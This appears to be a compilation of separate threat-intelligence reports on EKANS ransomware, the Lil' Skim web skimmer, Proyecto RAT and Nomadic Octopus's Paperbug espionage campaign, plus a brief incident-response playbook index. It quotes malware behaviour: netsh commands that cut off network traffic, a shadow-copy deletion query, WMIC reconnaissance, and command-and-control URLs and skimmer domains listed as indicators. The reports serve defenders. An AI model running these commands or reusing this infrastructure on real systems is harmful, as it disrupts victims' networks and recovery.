environmental checks, we noticed that the May variant of EKANS tries to resolve the IP address of the ADS.****.COM. The subdomain belongs to a global health care provider that specializes in the treatment of chronic kidney conditions. This subdomain does not seem to be publicly available, which means that the May variant will only execute if it has infiltrated the network. If this is successful, then another check is performed. EKANS checks to see if “10.2.10.4” is the IP address of this subdomain. Another piece of information that the May variant of EKANS is looking for is the current machine’s role within the domain. A WMI query will be performed to determine this. Microsoft defines domain roles as follows: - 0 Standalone Workstation - 1 Member Workstation - 2 Standalone Server - 3 Member Server - 4 Backup Domain Controller - 5 Primary Domain Controller EKANS is apparently looking to infect a domain controller on the network. If successful, this can affect security authentication requests within the network domain, thereby severely impacting networked users. With the aforementioned data points, EKANS will have enough to build a proper mutex. The mutex will consist of the string “Global\” appended with “EKANS” and a part of the IP string. On a side note, the author(s) of EKANS may be a fan of The Highlander movies/TV series where the phrase “there can be only one” was popularized. ### Isolating a System Infected by EKANS Ransomware The next step taken by the June variant of the ransomware that FortiGuard Labs engineers encountered was that the malware executed the following netsh commands in order to block any inbound and outbound traffic that might interfere with the encryption process: - netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound - netsh advfirewall set allprofiles state on ### Decoding EKANS Ransomware’s Public RSA Key Next, the malware goes through its encryption functions, which like many ransomware variants are embedded in the malware. It encrypts data using RSA and by parsing the public key using the ParsePKCS1PublicKey function. It is XOR decoded. ### EKANS Malware Identifies and Stops Services and Processes In both variants, EKANS will decode strings associated with services and attempt to stop them. The May variant, for some reason, contains duplicate services. Overall, there are nine services that are repeatedly decrypted in an attempt to stop them by the May variant of EKANS. They are: - MSSQLFDLauncher$PROFXENGAGEMENT - ReportServer$TPS - SQLBrowser - MSSQLServerADHelper - SQLAgent$PROD - msftesql$PROD - SQLAgent$SOPHOS - VeeamEnterpriseManagerSvc - ArcserveUDPPS After decoding all the required strings, both variants of the ransomware open the SCM (OpenSCManager) and use EnumServicesStatusEx. It iterates on the services and stops any service contained in the decoded string list. The service stop operation stops: - OpenService (SC_MANAGER_ENUMERATE_SERVICE) - ServiceControl (SERVICE_CONTROL_STOP) - ServiceQuery ### EKANS Also Identifies and Kills Processes The ransomware then enumerates running processes and terminates each process within a predefined process list. ### EKANS Deletes Shadow Copies EKANS then deletes shadow copies, which is done via WMI’s WbemScripting.SWbemNamedValueSet object. The query that locates the shadow copies object is the regular: - SELECT * FROM Win32_ShadowCopy This is common behavior with ransomware to make it more difficult to recover files. There are many ways to achieve this. The May variant accomplishes this by using COM programming. EKANS connects to the WMI service via COM objects in order to use shared libraries. ### EKANS Ransomware Encrypts Files Before running the encryption function, the ransomware decodes the strings of all of the relevant file extensions to encrypt. In order to keep the system able to at least spin up and load, certain files and folders are skipped from the encrypting process. These files are avoided in the May variant of EKANS. At the same time, any files and folders that contain certain directories in their path are also skipped from the file encryption process by the May variant. Both variants also build the following regex used to exclude encryption targets. However, during the actual file encryption process, the list of targeted file types is not actually checked by the May variant of the ransomware. The May variant will encrypt any file type as long as it does not violate any of its avoidance rules. The encryption details seem identical to the operating methods described here: - A public RSA key is used to encrypt each of the AES keys used to encrypt files. - File encryption is via AES CTR mode, with a random key and a random IV. - The AES key is ciphered with RSA-OAEP, and uses ripemd160 as its hashing algorithm. - The AES encrypted key, along with the original file name, is encoded using GOB (an algorithm from Golang), and it is written at the end of the file. First, it enumerates all valid drive letters from A to Z using GetLogicalDriveStringsW. Interestingly enough, the code shows that the May variant of EKANS only targets removable drives (such as thumb drives) and fixed drives (such as hard disks or flash storage devices). They do not try to infect machines on the network. It then creates multiple threads for such drives. Each thread then creates eight workers (threads) that perform the encryption. These workers use channels to sync themselves. After creating the eight workers, the thread waits for them to finish. After all of them are done, it renames the files on the system by generating a random 5-digit string which is then appended to the file’s name. The single file encryption flow is relatively simple: - Opens a file - Checks to see if it already has the EKANS stamp at the file’s end. If not, it encrypts the file via AES. - Encryption (it overwrites the file, not creating a new one) After the encryption process has completed, the May variant of EKANS drops the ransom note as “Decrypt-Your-Files.txt” either on the root system drive or on the user’s desktop. Finally, EKANS turns off the host firewall. For machines infected with the June variant, the ransomware ends with another command to turn off the firewall. ## EKANS Mitre TTPs **Execution** - Component Object Model and Distributed COM (Mitre ATT&CK ID: T1175) EKANS executes WMI queries via COM objects **Defense Evasion** - Disabling Security Tools (Mitre ATT&CK ID: T1089) EKANS attempts to disable processes and kill services - Execution Guardrails (Mitre ATT&CK ID: T1480) EKANS will check network, IP, and domain role - Indirect Command Execution (Mitre ATT&CK ID: T1202) netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound netsh advfirewall set allprofiles state on - Virtualization/Sandbox Evasion (Mitre ATT&CK ID: T1497) EKANS attempts to disable virtualization services and processes **Discover** - File and Directory Discovery (Mitre ATT&CK ID: T1083) EKANS builds a list of files and directories that need to be encrypted - Peripheral Device Discovery (Mitre ATT&CK ID: T1120) EKANS will attempt to encrypt files on removable drives such as USB drives - Process Discovery (Mitre ATT&CK ID: T1057) EKANS will attempt to terminate certain processes - Security Software Discovery (Mitre ATT&CK ID: T1063) EKANS will attempt to disable certain security software - Software Discovery (Mitre ATT&CK ID: T1518) EKANS will attempt to disable certain ICS processes - System Information Discovery (Mitre ATT&CK ID: T1082) EKANS checks for the existence of a mutex EKANS checks for the system’s role in the domain - System Network Configuration Discovery (Mitre ATT&CK ID: T1049) EKANS queries the network to see if it is part of the targeted domain - System Service Discovery (Mitre ATT&CK ID: T1007) EKANS will attempt to halt certain services **Impact** - Data Encrypted for Impact (Mitre ATT&CK ID: T1486) EKANS will encrypt certain files to be ransomed - Inhibit System Recovery (Mitre ATT&CK ID: T1490) EKANS deletes shadow copies to prevent recovery of encrypted files - Network Denial of Service (Mitre ATT&CK ID: T1498) Infected domain controllers may prevent users from logging into the network - Service Stop (Mitre ATT&CK ID: T1489) EKANS will attempt to halt certain services ## General TTP Trends Understanding the ransomware and some of its indicators of compromise (IOC), such as hashes, URLs, IP addresses, and domains is a good first defense. But be warned that these IOCs often change and can circumvent legacy security controls. And because these attacks are more targeted, it’s also important to understand the activity the offensive operator takes once they’re in the environment. If you can disrupt their plans prior to the malware executing, the better off you will be. While every targeted attack is unique, there are some trends – especially in the way an attacker works – that if understood can provide a better view into your ability to detect their attack methods and more effectively block them. ### Initial Access There are many ways to access a network, but the two we continue to observe are: - External Remote Services (Mitre ATT&CK ID:T1133) Exploiting existing vulnerabilities and weak credentials on RDP sessions that are publicly exposed. - Spear phishing Attachments and Links (Mitre ATT&CK ID:T1193 and ID:T1192) The malware delivery of choice these days is still by sending a spear phishing email. ### OS Credential Dumping Once the adversary establishes their initial access into the environment, they need to continue penetrating deeper into the network. To do so, they first need the right access, which is why credential dumping is a common activity. There are many techniques to achieve the dumping of credentials, as the Windows Operating System has many different places it stores or caches its credentials. Below is one common technique we see as a trend: - OS Credential Dumping – LSASS Memory (Mitre ATT&CK ID:T1003.001) The LSASS process stores credentials of users that are logged in to a system. Many tools are available to extract this credential information. ### Lateral Movement When the adversary has the right access to spread their malware from system to system, they simply need to copy and remotely execute the payload. One tool that can achieve just that is found on many Windows Operating Systems. It is called PSEXEC, which is part of the Sysinternals. This tool is used by many system admins to help administer the network, but it is also often used by the adversary. - Lateral Tool Transfer (Mitre ID:T1570) Many tools can be used to copy and remotely execute a piece of software. The PSEXEC tool is one of them. When psexec.exe runs, it will copy the psexecsvc.exe file to the remote system, which is used to start and run the malicious software as a service. It’s also worth mentioning that it will use Windows admin shares such as C$, IPS$, ADMIN$. ### Defensive Evasion As a security community, we have gotten better at identifying malicious software and tools. As a result, adversaries have had to take that into consideration by adding additional steps to disable defensive controls such as anti-malware, or by disabling Windows event logging. - Impair Defenses - Disable or Modify Tools (Mitre ID:T1562.001) If the adversary has administrator access, it may be possible to uninstall or shutdown services such as Microsoft Defender. They will uninstall the service, run their malware, and then reinstall the services. - Impair Defenses - Disable Windows Event Logging (Mitre ID:T1562.002) Logs are a great source for detecting anomalies on your hosts, and companies are collecting these logs centrally and monitoring them for those anomalies. To address this process, adversaries will disable event logging or suppress logs so they can’t be viewed by the monitoring tool or process. ### Defensive Evasion/Privilege Escalation/Persistence Eventually, the attacker will execute the ransomware (or malware in general) on targeted systems. An efficient way to do this, if the attacker has access to the domain controllers, is to leverage group policies (GPO) and Windows login scripts. GPOs and login scripts are used by system admins for central management and OS configuration setting for users’ environments. These tools, which are part of an Active Directory environment, are modified by an attacker to deploy and execute their malware. - Group Policy Modification (GPO) (Mitre ID:T1484) The attacker can create a group policy preference scheduled task policy within a Default Domain Policy that will deliver the malware and execute it on all machines within the AD domain. - Boot or Logon Initialization Scripts: Login Script – Windows (Mitre ID:T1037.001) Because logon scripts can be run when users login to systems in an AD domain, an attacker can add their malicious payload to the script to execute. ## Conclusion: Prepare for Ransomware Threats Beyond EKANS In this blog, we focused on not only one of the latest ransomware variants targeting ICS/OT environments, but also some of the TTP trends our FortiGuard team has observed over the last year or two. We encourage you to take a look at not only the techniques we described here, but also at the other techniques that are documented in the Mitre ATT&CK knowledge base. Then start testing your current security controls against these techniques to ensure you can detect or protect against them. If you find gaps, document them and use them as a guide to build a prioritized action plan for improvement. Lastly, if you are responsible for the ICS environment, there is now a Mitre ATT&CK ICS knowledge base specifically for adversary actions taking place in an Industrial Control System network. ## How Fortinet Protects Organizations from EKANS Fortinet offers a suite of platforms and services to help protect organizations from ransomware and malware, including EKANS. Here’s how it works: **FortiEDR Platform:** Identification & Blocking of EKANS Fortinet’s FortiEDR Platform detects and blocks the EKANS malware. When activity tries to run, such as changing the Windows firewall settings or encrypting files, FortiEDR identifies and blocks the malicious activity. **FortiGuard Anti-Virus Services** These ransomware variants are blocked with the signatures W32/Ekans.42D0!tr.ransom, W32/Ekans.C75D!tr.ransom, and W32/Ekans.62B8!tr.ransom. **FortiDeceptor:** Deception-based Breach Protection FortiDeceptor allows organizations to rapidly create a fabricated deception network through the automatic deployment of decoys and lures that seamlessly integrate with an existing IT/OT infrastructure, enticing attackers into revealing themselves. FortiDeceptor helps serve as an early warning system by providing accurate detection that correlates an attacker’s activity details and lateral movement that feeds up to a broader threat campaign. Threat intelligence captured from decoys is shared within the Security Fabric so automatic protection can be applied, disrupting attacks before any real damage is done.
# Lil’ Skimmer, the Magecart Impersonator A very common practice among criminals consists of mimicking legitimate infrastructure when registering new domain names. This is very true for Magecart threat actors who love to impersonate Google, jQuery, and many other popular brands. In this post, we look at a skimmer recently disclosed by security researchers that has been around for over a year but managed to keep a low profile. In addition to naming several of their domains after Google, the threat actor is also naming their domains after the websites they have compromised. Often, identifying additional infrastructure on the same network is a relatively simple exercise. But in this case, it is more complex because the hosting servers are comprised of a large number of domain names, many of which are also malicious but not skimming related. Hiding in the noise is another common trait for threat actors. ## Keeping it Simple This skimmer was publicly mentioned by Eric Brandel in early June 2021, and unlike Magecart JavaScript code, this one is very straightforward. Jordan Herman had also previously spotted this skimmer and referred to it as Lil’ Skim. Based on an urlscan.io crawl, it appears the earliest instance is from at least March 2020, via googie[.]host. ### Newish Google Themed Digital Skimming/#Magecart Domains - googie-analitycs.site - googie-analytics.online - googie-analytics.website - googletagsmanager.website A quick review of the Autonomous System (AS198610 Beget) where those skimmer domains are found shows a significant number of malicious hosts tied to phishing kits, Windows payloads, and Android malware just to name a few. Two IP addresses in particular, 87.236.16[.]107 and 87.236.16[.]10, are host to additional skimmer domains belonging to Lil’ Skim. ### A Dense Network Hiding More Skimmer Domains For example, tidio[.]fun is a play on tidio.com, a chat application for website owners wishing to interact with customers. We recognize the same Lil’ Skim code here as well. ### Custom Domains by Compromised Store We discovered a number of skimmer domains that were named after compromised stores. This in itself is not a new practice and is often seen with phishing sites. The threat actor simply replaced the top-level domain name with .site, .website, or .pw to create hosts that load the skimmer code and receive stolen credit card data. All the domains we found were hosted on 87.236.16[.]107. ## Conclusion Lil’ Skim is a simple web skimmer that is fairly easy to identify and differs from other Magecart scripts. The threat actor is keen on impersonating internet companies but also the victim sites it goes after. We were able to track this actor across the same ASN where they registered a number of different domains over a period of at least a year. There likely are more pieces of infrastructure to uncover here, but that might be a time-consuming process. We have notified the stores that have been impacted by this campaign. Additionally, Malwarebytes customers are already protected via our web protection module across our different products including Malwarebytes Browser Guard. ## Indicators of Compromise The following IOCs are linked to urlscan.io crawls whenever possible. ### Standard Skimmer Domains - googletagsmanager[.]website - googie-analitycs[.]site - googie-analytics[.]online - googie-analytics[.]website - cdnattn[.]site - facebookmanagers[.]pw - googletagmanager[.]space - googie[.]website - googleapis[.]website - googie[.]host - tidio[.]fun - jquery[.]fun - cloudfiare[.]site ### Skimmer Domains Impersonating Compromised Sites - perfecttux[.]site - gorillawhips[.]site - bebedepotplus[.]site - postguard[.]website - dirsalonfurniture[.]site - dogdug[.]website - bebedepotplus[.]website - perfecttux[.]website
# Spam Campaign Targets Colombian Entities with Custom-made ‘Proyecto RAT,’ Uses Email Service YOPmail for C&C Posted on: July 18, 2019 at 5:01 am Posted in: Malware, Spam, Targeted Attacks Author: Jaromir Horejsi and Daniel Lunghi (Threat Researchers) We observed a recent campaign that primarily targets financial institutions and governmental organizations in the South American region, particularly in Colombia. This blog post covers the activities we observed, the remote access tools (RATs) used, the campaign’s techniques and procedures, and its indicators of compromise (IoCs). Our findings indicate that the campaign appears to be the work of a group involved in business email compromise (BEC) or cybercrime, and unlikely to be an advanced persistent threat (APT). It’s worth noting that the group uses YOPmail, a disposable email address service, for its command and control server (C&C). The payload, written in Visual Basic 6, is a customized version of a remote access tool called “Proyecto RAT.” Our in-depth analysis of the malware is detailed in this appendix. ## The delivery emails The infection starts with an email sent to a target. In multiple instances, we noticed the attacker used open or compromised mail servers in South America to facilitate the campaigns. The attacker also connected to the compromised servers from IP addresses that were linked to dynamic domain names used as C&Cs by the delivered payloads. This suggests that the attacker uses the same infrastructure to send emails and control victims. The sender of the email is usually spoofed, and we saw multiple email subjects enticing the receiver to open the attachment, which is an RTF file. Examples of such subjects are: - “Hemos iniciado un proceso en su contra por violencia laboral.” (Loosely translates to “We have filed a lawsuit against you for workplace violence.”) - “Se hara efectivo un embargo a su(s) cuenta(s) Bancarias.” (Loosely translates to “Your banking accounts are going to be blocked.”) - “Almacenes exito te obsequia una tarjeta regalo virtual por valor de $500.000.” (Loosely translates to “Exito shops offer you a virtual gift worth $500.000.”) The attached RTF file contains one line of text and a link. The text relates to the email subject, such as “You can see the complaint against you below.” or “See the complaint online.” Note that the link to the malware uses the URL shortener cort.as, which belongs to the El País newspaper. Unfortunately, this service only enables statistics on demand, and the attacker never enabled them. Clicking on the link redirects the victim to a file on a file-sharing service. The file is a delivery document that contains macros. ## The delivery documents The majority of the documents we analyzed were in MHTML format, which contains macros. The macro code is a simple downloader for the payload. However, Office files in OLE format were also observed. Most of the document designs have already been published in Qihoo360’s blog post; this post will discuss designs that the post did not cover. The documents, which appeared between 2017 and 2019, all asked users to enable macros. The macros will download and execute a RAT. The main payload is usually Imminent Monitor RAT; however, at the beginning of 2018, we also observed the use of LuminosityLink RAT, NetWire RAT, and NjRAT. In a case in June 2019, we also noticed Warzone RAT being used. Warzone RAT is the newer RAT from the list and supports keylogger, web browser-, and Outlook password-stealing features in addition to standard RAT functions. All of these RATs are standard malware that can be bought for under US$100 or downloaded from various malware repositories. After the download of Imminent Monitor RAT and observing its network behavior, we noticed an instruction to download and execute another executable file, which is the second stage payload. ## Second stage payload: Proyecto RAT The second stage payload is written in Visual Basic 6, and has an interesting feature — a C&C URL address acquired from the disposable email service YOPmail. The malware connects to a mailbox, reads the only available email message, parses it, and then extracts the subject of the email. The C&C server URL is between the ‘¡’ characters (upside-down exclamation sign), a character used in the Spanish language. This is the first time we noticed disposable email services being abused this way. During our analysis, we found three mailboxes related to the malware. We have since reached out to YOPmail and informed them of this threat. YOPmail has responded, saying that they would place specific restrictions. A detailed technical analysis of the classes, forms, and modules revealed when the malware is decompiled can be found in this appendix. ## Searching for the malware family Seeing the many features of the malware, we tried to match it to a known RAT. The communication between client and server is via TCP, is unencrypted, and uses pipe “|” characters and “¡@#@!” as a separator. This description fits quite well with Xpert RAT. Searching for the x86 hex string from cTimer class also leads to links with Xpert RAT. An online search found two versions of Xpert RAT: “XpertRAT v3.0.10 By Abronsius” and “XpertRAT v3.0.9 By Abronsius.” After building the payload and infecting the test machine, we could observe the communication. Notice the different colors between the incoming and outgoing communication and the separator between both communication streams. However, in Xpert RAT builder, we did not notice any reference to a disposable email, searches for banking website captions, or information written to the configuration file. In addition, Xpert RAT samples generated by the builder have even more functions such as keylogger, runPE, WebCam, Audio, Wipe module, and Remote Desktop. When searching for class names from the Visual Basic malware, the keyword “ClsRemoteRegistry” leads to a discussion on a Spanish hacking forum. The user, who in his profile offers Prodigy Bot, an IRC bot written in VB6, has a question related to the code from Leandro Ascierto’s project called “Proyecto RAT.” After downloading and examining the project, we noticed familiar class names, delimiters, strings, and more. Based on these details, we believe this is a customized version of Proyecto RAT. ## Affected regions and verticals Colombia is by far the most targeted country, with other South American countries added to the list. This is consistent with the fact that this actor uses the Spanish language in all the spear phishing documents we observed. However, we also noticed targets in other countries. In one instance, the attacker used the URL shortener bit.ly, which confirmed that Colombia is the main target. As anyone can follow the link, some of these countries could also be the result of researchers’ sandboxes. Recent campaigns targeted different industries. The most prevalent were government entities, healthcare/pharmaceutical institutions, followed by financial/banking/insurance and agro-industry/food/packaging organizations. Notably, we noticed that multiple employee savings funds (called “Fondo de empleados” in Colombia) were targeted. These entities barely have access to sensitive information, but they are likely to possess a reasonable amount of money. ## Conclusion and mitigation Xpert RAT reportedly first appeared in 2011. The first version of “Proyecto RAT” was published at the end of 2010. Both projects share similarities, and it is likely that “Proyecto RAT” was inspiration for Xpert RAT and at least a few more malware projects, including the Visual Basic malware in the campaign we previously described. We can’t say for sure what this actor is particularly looking for, but multiple facts lead us to believe it is designed for BEC or cybercrime rather than as an APT: - These campaigns are noisier and more prevalent than usual APT campaigns. - The same IP address, which is dynamic, is used to send spear-phishing emails and act as C&C. This is more common to cybercrime. - Some of the targeted industries might not have access to sensitive information, but are likely to handle a decent amount of money. - The windows titles that are listed in the configuration file are almost all related to financial services. Our research shows that this campaign can deliver malware with multiple capabilities that can affect different organizations and industries. It also highlights the importance of securing online infrastructures, particularly the email gateways, to avoid targeted spam campaigns. Organizations should adopt best practices on messaging-related threats and regularly update systems to prevent attackers from taking advantage of any security gaps. Employing additional security mechanisms such as enabling firewalls and intrusion detection and prevention systems will help prevent suspicious network activities that may lead to data exfiltration or C&C communication. Organizations can also turn to Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security. Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
# Incident Response Playbooks You need to respond quickly to detected security attacks to contain and remediate their damage. As new widespread cyberattacks happen, such as Nobellium and the Exchange Server vulnerability, Microsoft will respond with detailed incident response guidance. You also need detailed guidance for common attack methods that malicious users employ every day. To address this need, use incident response playbooks for these types of attacks: - Phishing - Password spray - App consent grant - Compromised and malicious applications Each playbook includes: - **Prerequisites:** The specific requirements you need to complete before starting the investigation. For example, logging that should be turned on and roles and permissions that are required. - **Workflow:** The logical flow that you should follow to perform the investigation. - **Checklist:** A list of tasks for the steps in the flow chart. This checklist can be helpful in highly-regulated environments to verify what you have done. - **Investigation steps:** Detailed step-by-step guidance for the specific investigation. Also see Microsoft DART ransomware approach and best practices for information about how the Microsoft Detection and Response Team (DART) deals with ransomware attacks.
# Nomadic Octopus’ Tajikistan Campaign: Paperbug ## 1 Glossary We have chosen to include a glossary in this report to prevent confusion around the names Octopus, Nomadic Octopus, Dust Squad, and Paperbug. Throughout this report, we chose to refer to Nomadic Octopus, alternatively referred to as Dust Squad, as the group behind the operation Octopus, which was a cyber espionage campaign targeting Kazakhstan, using the malware called Octopus. Paperbug, on the other hand, is the new campaign of Nomadic Octopus that we are covering in this report. ## 2 Introduction Espionage is the act of obtaining secret or confidential information from a closed source without the consent of the holder, or disseminating it without the consent of the holder. Cyber espionage is one of the sophisticated types of this act. They are mostly held to gather sensitive digital documents and closed sources of governments and corporations. In order to get this information, the group must gain access to their target’s networks, devices, or infrastructures. The infiltration can be done with spear-phishing targeting government/corporate individuals, exploiting public services of the organization, and more. These operations are usually carried out by government actors, state-sponsored or directed groups to obtain intelligence on their targets and enhance their own nation’s safety and military capability. This report explores an operational environment which is owned by the Nomadic Octopus espionage group, that has been active since 2020. According to victim analysis, the group specifically targets Tajikistan’s high-ranking government officials, telecommunication services, and public service infrastructures. The types of compromised machines range from individuals’ computers to OT devices. These targets make operation “Paperbug” intelligence-driven. The environment itself is built with fundamental functionality. This makes the attribution challenging; it leaves little room for comments. However, in this case, the findings were sufficient to profile this group. ## 3 Executive Summary The Executive Summary section of this report offers a non-technical outline of the Paperbug Campaign, its targets, and its organizational structure. ### 3.1 Overview According to unearthed victim data, Tajikistan is the ultimate target of this operation. The target list includes but is not limited to Tajikistan’s government officials, public service infrastructures, and the telecom provider. The initial step that led to the compromising of other victims very likely was the infiltration of the network, even though the initial access time to and how it was infiltrated is uncertain. This is also supported by the order of victim contributions to the operation panel; the group has gained access to the telecommunication firm network and its employees firstly. This then led to the group carrying out lateral movement on at least 18 ultimate targets (deleted victims are not counted), largely focusing on government networks, executives’ and OT devices with publicly known vulnerabilities, while also performing deep reconnaissance of networks, customers, and affiliates. According to the frequency of screenshots being taken by Nomadic Octopus especially while targeted victims were writing e-mails and creating new contracts of their customers, the group spied on devices and took their notes diligently. Operation Paperbug aligns with the common trend of attacking into Central Asia government infrastructure that recently became more prominent. This trend can also be seen in other Russian-speaking state-sponsored threat actors like Sofacy. They have also been observed attacking telecommunication infrastructure in Central Asian regions, including Tajikistan. This indicates that there might be some ties between the main subject of this report, Nomadic Octopus, and other prominent espionage groups like Sofacy. ### 3.2 Characteristics of the Paperbug Operation **Politically-Motivated Surveillance:** According to PTI Team’s analysis of Nomadic Octopus’ behavior, they tend to infiltrate wherever the group can access without much discrimination. However, they then go through the acquired devices and only keep the victims that are valuable in terms of surveillance and political gains. The group tends to remove their access if the victim is not related to public services or government infrastructures. Also, it is observed that operators steal e-mails, documents in compromised devices, and instant messaging apps’ chat history periodically to leak potentially sensitive information. **Targets Central Asia Government Officials:** According to the PTI Team’s victim analysis, most Paperbug victims have governmental connections. A few of the individuals that were compromised were successfully identified by the PTI team, and it was confirmed that they are government officials in Central Asia. Moreover, the group writes notes about the compromised devices and their possible owners, the notes appear to be in Russian. **Targets Telecom Companies:** The aspect setting this operation apart from other operations conducted in Central Asia is the method it uses to compromise its victims. The starting point of this operation is the compromisation of the network of a Tajikistan-based telecom company. The first victim machine on the C&C server was also a device in the network. This idea is also supported by the domain name used for the operation. Moreover, most of the compromised IPs are from the IP block. Unfortunately, the point of initial access to the network is unclear. It is determined that Paperbug operation started in this firm’s network then expanded their access through document theft, stolen clients’ contracts and credentials, weak network security configurations, and exploitation of not up-to-date software and services. **Targets OT Devices:** OT device connections are also kept by the Nomadic Octopus team. When a team member analyzes a compromised machine and decides on its value, they categorize the machine as one of the types of victims that they are interested in. If it does not fit into any of the categories, the machine is then removed from the system. The PTI Team has observed that even though they are placed under a more generic category, the Nomadic Octopus operators chose to keep the victims used for operational technology. **Not Stealthy on Victim Devices:** Despite the high stakes of the operation and the levels of government that the group is dealing with, there have been several cases where the operators failed to stay stealthy in the compromised systems. As they operate on the compromised machines to steal information, they sometimes inadvertently caused permission pop-ups on victim computers, which resulted in suspicion from the victim. However, this was resolved due to the group diligently naming the files they transfer as benign and inconspicuous programs. **Connections to Other Campaigns Targeting Central Asia:** Even though this report covers only two domains used for running the operation, the PTI Team has also observed other domains that are likely to be related. This indicates there is possibly more to this campaign. Moreover, the increase in attacks to Central Asia by state-sponsored Russian-speaking threat actors combined with the espionage nature of this case as well as the highly organized behavior of the Nomadic Octopus operators indicates the group’s possible connections to other state-sponsored threat actors. ## 4 Technical Analysis This section analyzes the Nomadic Octopus group’s C&C infrastructure and the technology being used for Paperbug operation. ### 4.1 Impact Nomadic Octopus used multiple servers to manage and operate the used backdoors and tools in the Paperbug campaign. | IP Address | ISP | First Seen | |---------------------|----------------------|--------------| | 94.140.114.20 | Sia Nano IT | 18-03-2021 | | 44.227.76.166 | Amazon.com, Inc | 22-09-2020 | | 44.227.65.245 | Amazon.com, Inc | 19-09-2020 | | 91.219.238.239 | Server Astra Kft. | 16-05-2020 | | 91.208.184.79 | Alexhost Srl | 01-04-2021 | | 54.36.185.101 | OVH SAS | 19-09-2020 | | 199.188.200.245 | Namecheap, Inc. | 01-04-2021 | | 194.180.174.154 | MivoCloud SRL | 18-03-2021 | | 185.32.126.102 | FSITAG | 18-03-2021 | ### 4.2 Backdoor Analysis In this section, we will analyze and compare the malware that Nomadic Octopus has been observed using previously and the malware used in operation Paperbug. The hashes for the files we are comparing can be found in the table below. | Type | Md5 Checksum | |------------|------------------------------------------| | Octopus | 62fb5aa21f62e92586829520078c2561 | | Paperbug | 2c7f334360054e7245f26fe64936914f | Back in 2018, Octopus Malware appeared, masquerading as an application used to send batch messages on Telegram. It is written in Delphi language. Core features of Octopus Malware are listed below: - Checking real IP addresses of the target system - Sending system information of the target system to the command and control server - Taking screenshots of the target system - Dumping Windows system credentials using fgdump program #### 4.2.1 Comparison with Older Samples Malware found on the command and control server is very closely similar with the publicly known and before-seen Octopus malware’s network module. Similarities in the code can be seen in the figures. There are similarities in used strings used in samples. String similarity is shown in the figures. Everything seems to be the same with the Octopus malware’s network module except the communication technique and website used as an upload service. The new samples send data in XML format using HTTP POST requests while Octopus malware’s network module was using HTTP GET requests without XML parsing. #### 4.2.2 Found Octopus Variation These are the icons in use by the newer malware. This icon choice is made by the location of which malware is planted. This variant is also developed with Delphi language, and its size is roughly 3MB. Payloads and strings are plain, no anti-static-analysis technique is implemented. After the initialization part of the executable’s entry, backdoor determines which reporting and connect-back URL will be used. The table shows all connect-back URLs. The domain lovingearthy.com has not been observed by the PTI team, however, it is still included because one VirusTotal report shows that the binary tried to connect to this domain. However, it is not found in any samples that served in C&C panel. | URLs | |-------------------------------------------| | http://islandsnake.com/pulse.php | | http://footcoinball.com/class.php | | http://lovingearthy.com/disks.php | The executable tries to find which connect-back is available in the defined server list. Then choose one and send a POST request that states it is ready to deploy the connection. Initialization will continue with FUN_005d9c1c, which will collect information about the device. To clarify more, these explained steps and commands executed remotely are called queries. Also, it drops a file named profile.ini in the %TEMP% directory. The COLLECT_INFORMATION function collects all information that is also displayed in the C&C. This function uses an executable called wmic.exe to enumerate. | Query | Purpose | |------------------------------------------------------------------|--------------------------------------------------| | WMIC.exe computersystem get Name /format:list | Computer Name | | WMIC.exe os get installdate /format:list | Installation date of Windows | | WMIC.exe path CIM_LogicalDisk Based On Partition get | Gets Disk Partition List | | WMIC.exe path win32_physicalmedia where tag=PHYSICALDRIVE0 get serialnumber /format:list | Get Serial Number of Physical Disk | Lastly, this backdoor has three main functions, which are: taking screenshots, running commands remotely, and downloading/uploading files. Download/Upload functionality is also explained more thoroughly in Section 4.4, also this section has an example output of this functionality. The uploadnow.com is used for exfiltrating chosen files. Backdoor uses WinRAR to zip the chosen directories, then upload them to this domain. ### 4.3 C&C Analysis The C&C panel has a pragmatic, minimalist design. The news tab is the welcome page of this command and control panel. In this tab, users can add topics to inform others. The last and only topic is added at 01 March 2021 07:44 GMT, it refers to the backdoors which are Octopus Malware download links. The only subject that distinguishes them is that their icons are different. They are being placed at different directories, whichever icon matches the context. The list bot tab shows all active backdoors, also these established connections, separated by their context. Displayed not sorted victims are unknown victims that are still waiting to be analyzed by threat actors. It is observed that actors may discard the connection if the target is not in the scope of their interests. ### 4.4 Operator Behaviour Despite the high-profile targets and mission the group has, the organization has no advanced skills on behalf of development and tooling. The group brings nothing new to the table on top of other advanced persistent groups’ techniques. In this operation, operators use mostly public offensive tools and according to Prodaft Threat Intelligence (PTI) Team’s observations, the operators run commands and download their tool on victim devices inattentively (especially in the victim’s active hours), even the operator itself checks if its existence is noticed or if the victim suspects something is wrong. On the other hand, the usage of public tools, generic techniques, and their penetration tester-like behavior almost acts as a cloak for the group. The non-exclusivity of their actions makes the attribution step very challenging. One thing that the attacker does better is the placing of their tools into commonly unchecked directories and inconspicuously naming them. Seen examples are: 1. Google Update 2. Chrome Update 3. Java Update 4. Google Crash Handler ### 4.5 De-Anonymization The table shows all nicknames that show up in the command and control panel’s settings tab. Unfortunately, there is no further information available about the group’s identity. | Nicknames | |-----------| | witwit | | Rundel | | encrypt | | DevX | The table shows all public servers used daily by the group. | IP Address | AS Name | First Seen | |---------------------|----------------------|--------------| | 185.32.126.102 | FSITAG | 18-03-2021 | | 194.180.174.154 | MivoCloud SRL | 18-03-2021 | ## 5 Statistics & Observations This section covers some important insights regarding Paperbug’s impact. Here we present our findings from the C&C server, which are valuable to profiling the group and actions. According to last response dates from the network, they lost most of the connections except the device running Windows Server 2003. This connection has been alive since 03 November 2020. This also means that, Nomadic Octopus group cannot gather information from engineers/operators for 2 years. As mentioned before, the operator deletes the long gone connections. The difference can be seen in between the previous victim table of the telecom network and the present victim table of the telecom network. ID 381’s notes say it is and this domain also has web service that could be reached publicly, named as WorkTime platform. However, it is not certain that Nomadic Octopus gained their first access through this service. According to the PTI Team’s observations, the backdoors with the word icon are placed to directories that are shared in the network. In these occasions, the backdoor naming is generally related with surveys, performance reports and extension of these backdoors is .docx.exe. With this doubly extension technique, people might have deceived to run these backdoors by mistake. As can be seen in the panel 